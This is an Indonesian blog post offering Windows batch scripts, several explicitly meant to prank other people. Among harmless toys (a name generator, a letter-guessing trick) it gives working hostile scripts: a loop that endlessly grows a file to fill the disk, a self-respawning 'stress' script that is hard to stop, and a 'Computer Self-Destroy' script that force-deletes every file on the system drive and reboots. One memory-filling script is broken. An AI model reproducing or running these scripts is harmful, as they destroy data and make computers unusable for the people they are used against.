FuguProgram untuk ngerjain orang yang berukuran 1 kb, tetapi jika dijalankan ukurannya bertambah bisa sampai lebih dari 100kb. Ini kodenya
:start
echo fugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugufugu>>fugu.bat & goto start
Mau Game?Program ini membuat yang ingin bermain game menunggu lama, sementara tidak ada game setelah menunggu.
@echo off
:start
set /p f=klo mau main, ketik "y", tekan enter:
if %f%==y goto kena
if not %f%==y goto start
:kena
echo Loading . . .
pause >nul
echo klo nunggu lama, berarti kena!
pause
exit
Name GeneratorProgram untuk meng-generate nama. Kelemahan dari program ini adalah nama yang dihasilkan aneh, tetapi masih bisa dibaca.
@echo off
set /p maxc=Masukkan berapa kali program akan mengacak huruf:
:start
set c=0
set ll=
set ln=
set lp=
set /a ValRange= ( 26 - 1 ) + 1
set /a rl= ( %random% %% %ValRange% ) + 1
goto konsonantvoice
:vocalvoice
set /a ValRange= ( 5 - 1 ) + 1
set /a rl= ( %random% %% %ValRange% ) + 1
if %rl%==1 set ln=%ln%i & set ll=v
if %rl%==2 set ln=%ln%e & set ll=v
if %rl%==3 set ln=%ln%o & set ll=v
if %rl%==4 set ln=%ln%u & set ll=v
if %rl%==5 set ln=%ln%a & set ll=v
goto echoletter
:konsonantvoice
set /a ValRange= ( 26 - 6 ) + 1
set /a rl= ( %random% %% %ValRange% ) + 1
if %rl%==6 set ln=%ln%b & set ll=k
if %rl%==7 set ln=%ln%c & set ll=k
if %rl%==8 set ln=%ln%d & set ll=k
if %rl%==9 set ln=%ln%f & set ll=k
if %rl%==15 set ln=%ln%g & set ll=k
if %rl%==21 set ln=%ln%h & set ll=k
if %rl%==10 set ln=%ln%j & set ll=k
if %rl%==11 set ln=%ln%k & set ll=k
if %rl%==12 set ln=%ln%l & set ll=k
if %rl%==13 set ln=%ln%m & set ll=k
if %rl%==14 set ln=%ln%n & set ll=k
if %rl%==16 set ln=%ln%p & set ll=k
if %rl%==18 set ln=%ln%r & set ll=k
if %rl%==19 set ln=%ln%s & set ll=k
if %rl%==20 set ln=%ln%t & set ll=k
if %rl%==22 set ln=%ln%v & set ll=k
if %rl%==23 set ln=%ln%w & set ll=k
if %rl%==24 set ln=%ln%x & set ll=k
if %rl%==25 set ln=%ln%y & set ll=k
if %rl%==26 set ln=%ln%z & set ll=k
goto echoletter
:echoletter
set /a c=%c% + 1
set lp=%ll%
echo %ln% and its number %c%
if %c%==%maxc% goto finish
if %lp%%ll%==kk goto vocalvoice
if %lp%%ll%==vv goto konsonantvoice
goto start
:finish
echo namanya adalah %ln%
pause
Penyebab StressProgram yang dapat menyebabkan stress karena susah untuk dihentikan, termasuk kesusahan untuk membuka Task Manager*
SAVE PROGRAM INI TERLEBIH DAHULU UNTUK MENGHENTIKAN PROGRAM!
@echo off
taskkill /f /im cmd.exe
tskill cmd
----------------------
Sekarang programnya:(save as stress.bat)
@echo off
start stress.bat
exit
*saya tidak bertanggung jawab bila terjadi kesalahan
MemoryBagLebih canggih dari Fugu, program ini dapat membantu menghabiskan memori sesuai keinginan anda!
@echo off
title MemoryBag
set s=0
:start
echo Berapa jumlah kb yang anda mau?(masukkan angka, tidak termasuk "kb")
set /p end=
echo Anda yakin?
choice /c yn
if %errorlevel%==2 goto start
:wdir
cls
if %s%==%end% goto end
if not %s%==%end%
set s=s+1
:end
echo Selesai!
pause
Automated KeyboardBiarkan komputer anda Mengetik Dengan Sendirinya!
catatan: 1) Selama program bekerja, jangan tekan tombol Ctrl,Alt,Fn,dan tombol fungsi lain. 2) Lebih baik digunakan dalam word processor. 3) Buka aplikasi word processor sebelum menggunakan. 4) Hati-hati dalam penggunaan, atau akan terjadi error pada komputer anda. 5) Jika error sudah terjadi, restart komputer. 6) Jangan takut untuk mencoba program ini, karena tidak akan merusak sistem (kecuali jika anda membuka Control Panel dan menjalankan program ini)
Bekerja sama dengan VBScript, program ini dapat membantu anda mengetik dengan cepat , anda tidak perlu mengetik sendiri!
Berbeda dengan VBScript sendiri, program ini dapat dihentikan. Jika anda ingin program ini berhenti hanya di close saja.
@echo off
:start
echo Start type?
choice /c yn
if %errorlevel%==2 exit
set /p input=Type what? (it will loop):
echo Set wshShell = wscript.CreateObject("WScript.Shell") >temp.vbs
echo wscript.sleep 1000 >>temp.vbs
echo wshshell.sendkeys "%input%" >>temp.vbs
echo More?
choice /c yn
if %errorlevel%==2 goto loop
goto custom
:custom
set /p input=Type what? (it will loop):
echo wshshell.sendkeys "{enter}%input%" >>temp.vbs
echo More?
choice /c yn
if %errorlevel%==2 goto loop
goto custom
:loop
start "" "C:\Users\A-Note\Desktop\temp.vbs"
goto loop
:console
set /p com=^>
%com%
echo.
goto console
Computer Self-DestroyHancurkan komputer Anda (sendiri) dengan program ini. Program ini akan menghapus semua file sistem sehingga OS tidak dapat berjalan dengan baik.
PERINGATAN: PROGRAM INI BENAR-BENAR DAPAT MERUSAK KOMPUTER ANDA!!!
@echo off
echo Jangan tutup program ini sampai selesai
del %systemdrive%\*.* /f /s /q
shutdown -s -r -t 00
pausePembaca PikiranProgram sederhana ini dapat membaca pikiran Anda! Cukup pilih salah satu dari huruf a - n, dan program ini akan menebak huruf yang Anda pilih.
@echo off
:start
echo Pilih salah satu huruf dari: a, b, c, d, e, f, g, h, i, j, k, l, m, n
echo Tekan enter tombol jika sudah memilih...
pause >nul
set guess=0
:a
cls
echo Apakah huruf yang anda pilih ada di sini:
echo a, c, e, g, i, k, m
set /p true=(y/n) :
if %true%==y (
set /a guess=%guess%+1
)
:b
cls
echo Apakah huruf yang anda pilih ada di sini:
echo b, c, f, g, j, k, n
set /p true=(y/n) :
if %true%==y (
set /a guess=%guess%+2
)
:c
cls
echo Apakah huruf yang anda pilih ada di sini:
echo d, e, f, g, l, m, n
set /p true=(y/n) :
if %true%==y (
set /a guess=%guess%+4
)
:d
cls
echo Apakah huruf yang anda pilih ada di sini:
echo h, i, j, k, l, m, n
set /p true=(y/n) :
if %true%==y (
set /a guess=%guess%+8
)
:convert
set guessl=
if %guess%==1 set guessl=a
if %guess%==2 set guessl=b
if %guess%==3 set guessl=c
if %guess%==4 set guessl=d
if %guess%==5 set guessl=e
if %guess%==6 set guessl=f
if %guess%==7 set guessl=g
if %guess%==8 set guessl=h
if %guess%==9 set guessl=i
if %guess%==10 set guessl=j
if %guess%==11 set guessl=k
if %guess%==12 set guessl=l
if %guess%==13 set guessl=m
if %guess%==14 set guessl=n
if %guess%==0 goto fail
if %guess%==15 goto fail
:finish
cls
echo Anda memilih huruf %guessl%!
echo Jika huruf salah, berarti anda kurang teliti.
echo Coba lagi?
set /p try=(y/n) :
if %try%==y goto start
exit
:fail
cls
echo Anda tidak memilih huruf yang tersedia.
echo Coba lagi?
set /p try=(y/n) :
if %try%==y goto start
exit
Tidak ada komentar:
Posting Komentar